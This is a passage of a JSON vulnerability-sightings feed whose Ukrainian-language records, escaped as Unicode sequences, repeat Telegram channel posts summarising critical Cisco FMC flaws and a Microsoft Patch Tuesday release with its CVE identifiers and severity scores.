Cisco \u0440\u0430\u0437 \u043d\u0430 \u043f\u0456\u0432 \u0440\u043e\u043a\u0443 \u0432\u0438\u044f\u0432\u043b\u044f\u0454 \u0446\u0456\u043b\u0443 \u043a\u0443\u043f\u0443 \u043d\u043e\u0432\u0438\u0445 \u0434\u0438\u0440\u043e\u043a \u0443 \u0446\u0438\u0445 \u0442\u0440\u044c\u043e\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0430\u0445, \u0442\u0430 \u0456 \u043b\u0438\u0448\u0435 \u0434\u0435\u044f\u043a\u0456 \u0437 \u043d\u0438\u0445 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043b\u0438\u0432\u0456, \u0430 \u0449\u0435 \u0432\u0441\u0456 \u0432\u043e\u043d\u0438 \u0441\u0442\u043e\u0441\u0443\u044e\u0442\u044c\u0441\u044f FMC:\n- CVE-2026-20079 \u0456 CVE-2026-20131 \u043e\u0442\u0440\u0438\u043c\u0430\u043b\u0438 \u043d\u0430\u0439\u0432\u0438\u0449\u0438\u0439 \u043c\u043e\u0436\u043b\u0438\u0432\u0438\u0439 \u0431\u0430\u043b \u0441\u0435\u0440\u0439\u043e\u0437\u043d\u043e\u0441\u0442\u0456 10 \u0437 10 \u0437\u0430 \u0448\u043a\u0430\u043b\u043e\u044e CVSS;\n- CVE-2026-20079 \u0441\u043f\u0440\u0438\u0447\u0438\u043d\u0435\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u043e\u043c, \u0441\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u043c \u043f\u0456\u0434 \u0447\u0430\u0441 \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u043d\u044f. \u0417\u0430 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u043e\u044e \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u043e \u043f\u0456\u0434\u0456\u0431\u0440\u0430\u043d\u0438\u0445 HTTP-\u0437\u0430\u043f\u0438\u0442\u0456\u0432, \u043c\u043e\u0436\u043d\u0430 \u043e\u0431\u0456\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u044e, \u0432\u0438\u043a\u043e\u043d\u0430\u0442\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0438 \u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0438, \u044f\u043a\u0456 \u043d\u0430\u0434\u0430\u044e\u0442\u044c \u0457\u043c root-\u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0457 \u043e\u043f\u0435\u0440\u0430\u0446\u0456\u0439\u043d\u043e\u0457 \u0441\u0438\u0441\u0442\u0435\u043c\u0438 FMC;\n- CVE-2026-20131 \u043c\u0430\u0454 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u0437\u0430\u0445\u0438\u0449\u0435\u043d\u043e\u0457 \u0434\u0435\u0441\u0435\u0440\u0456\u0430\u043b\u0456\u0437\u0430\u0446\u0456\u0457. \u042f\u043a\u0449\u043e \u043d\u0430\u0434\u0456\u0441\u043b\u0430\u0442\u0438 \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u043e \u0441\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0439 \u0441\u0435\u0440\u0456\u0430\u043b\u0456\u0437\u043e\u0432\u0430\u043d\u0438\u0439 Java-\u043e\u0431'\u0454\u043a\u0442 \u0434\u043e \u0432\u0435\u0431-\u0456\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f FMC, \u0432\u0456\u043d \u043c\u043e\u0436\u0435 \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u043e \u0432\u0438\u043a\u043e\u043d\u0430\u0442\u0438 \u0434\u043e\u0432\u0456\u043b\u044c\u043d\u0438\u0439 \u043a\u043e\u0434 \u0456 \u043f\u043e\u0442\u0435\u043d\u0446\u0456\u0439\u043d\u043e \u043f\u0456\u0434\u0432\u0438\u0449\u0438\u0442\u0438 \u0441\u0432\u043e\u0457 \u043f\u0440\u0438\u0432\u0456\u043b\u0435\u0457 \u0434\u043e \u0440\u0456\u0432\u043d\u044f root.", "creation_timestamp": "2026-07-21T00:00:22.118447Z"}, {"uuid": "062af750-c070-4662-9906-064c69161861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20860", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-21T00:00:22.219492Z"}, {"uuid": "f022e22e-872a-460f-93e4-7d1349bd0b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-21T00:00:22.247491Z"}, {"uuid": "c1b88155-1de0-4d57-92e3-1b5797d7e9ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-21T00:00:22.275654Z"}, {"uuid": "5be53cbf-891a-4072-a899-dab97ca4b89a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20871", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u0456\u043d\u0441\u0442\u0430\u043b\u044f\u0448\u043a\u0438 \u0432\u0456\u043d\u0434\u0438\n\nCVE-2026-20817 - \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Windows Error Reporting (WER)\n\nCVE-2026-20820 - Windows Common Log File System Driver\n\nCVE-2026-20843 - \u0432\u043f\u043b\u0438\u0432\u0430\u0454 \u043d\u0430 Windows Routing and Remote Access Service\n\nCVE-2026-20860 - Windows Ancillary Function Driver for WinSock \n\n CVE-2026-20871 - Desktop Window Manager", "creation_timestamp": "2026-07-21T00:00:22.302966Z"}, {"uuid": "1d666b56-13db-49d2-8459-82a4d6af9813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20843", "type": "seen", "source": "https://t.me/RMRFgroup/292", "content": "Microsoft \"\u0447\u0443\u0434\u043e\u0432\u043e\" \u043f\u043e\u0447\u0430\u043b\u0430 \u0440\u0456\u043a: \u0442\u0440\u0456\u0448\u043a\u0438 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430 \u0449\u0435 \u0434\u0435\u043a\u0456\u043b\u044c\u043a\u0430 \u043f\u043e\u0434\u0430\u0440\u0443\u043d\u043a\u0456\u0432 \u043c\u0435\u043d\u0448\u043e\u0433\u043e \u0440\u043e\u0437\u043c\u0456\u0440\u0443 (100+)\n\n\u0417\u0430\u0433\u0430\u043b\u043e\u043c \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u043e 112 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 (\u0432\u0434\u0432\u0456\u0447\u0456 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 \u0437\u0430 \u0433\u0440\u0443\u0434\u0435\u043d\u044c), \u0431\u0456\u043b\u044c\u0448\u0456\u0441\u0442\u044c, \u044f\u043a\u0449\u043e \u043d\u0435 \u0432\u0441\u0456, \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456 \u0432 \u043f\u0430\u0442\u0447\u0456. \u0421\u0435\u0440\u0435\u0434 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u0454 CVE-2026-20805 (CVSS score: 5.5) - \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Desktop Window Manager (DWM), \u044f\u043a\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0454 \u0432\u0438\u043a\u043e\u043d\u0443\u0432\u0430\u0442\u0438 \u043a\u043e\u0434 \u0437\u0430\u0432\u0434\u044f\u043a\u0438 \u0432\u0438\u0442\u043e\u043a\u0443 \u043f\u0430\u043c'\u044f\u0442\u0456. DWM \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454 \u0437\u0430 \u0442\u0435, \u044f\u043a \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u044e\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0438 \u043d\u0430 \u0435\u043a\u0440\u0430\u043d\u0456, \u0456 \u0445\u043e\u0447\u0430 Microsoft \u043e\u0446\u0456\u043d\u044e\u0454 \u0457\u0457 \u043d\u0435 \u0434\u0443\u0436\u0435 \u0432\u0438\u0441\u043e\u043a\u043e, \u0430\u043b\u0435 \u0432\u043e\u043d\u0430, \u0440\u0430\u0437\u043e\u043c \u0437 \u0443\u0441\u0456\u043c\u0430 \u0456\u043d\u0448\u0438\u043c\u0438 \u0434\u0438\u0440\u043a\u0430\u043c\u0438,  \u043c\u043e\u0436\u0435 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 \u043e\u0442\u0440\u0438\u043c\u0430\u0442\u0438 \u0431\u0430\u0436\u0430\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\n\nMicrosoft \u0442\u0430\u043a\u043e\u0436 \u043d\u0430\u0437\u0438\u0432\u0430\u0454 \u0449\u0435 8 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0436\u043d\u0456\u0439 \u0437 \u044f\u043a\u0438\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0454\u043d\u043e \u0440\u0435\u0439\u0442\u0438\u043d\u0433 7.8:\n\n CVE-2026-20840 \u0456 CVE-2026-20922 - \u043f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\nCVE-2026-20816 - \u0441\u0442\u043e\u0441\u0443\u0454\u0442\u044c\u0441\u044f 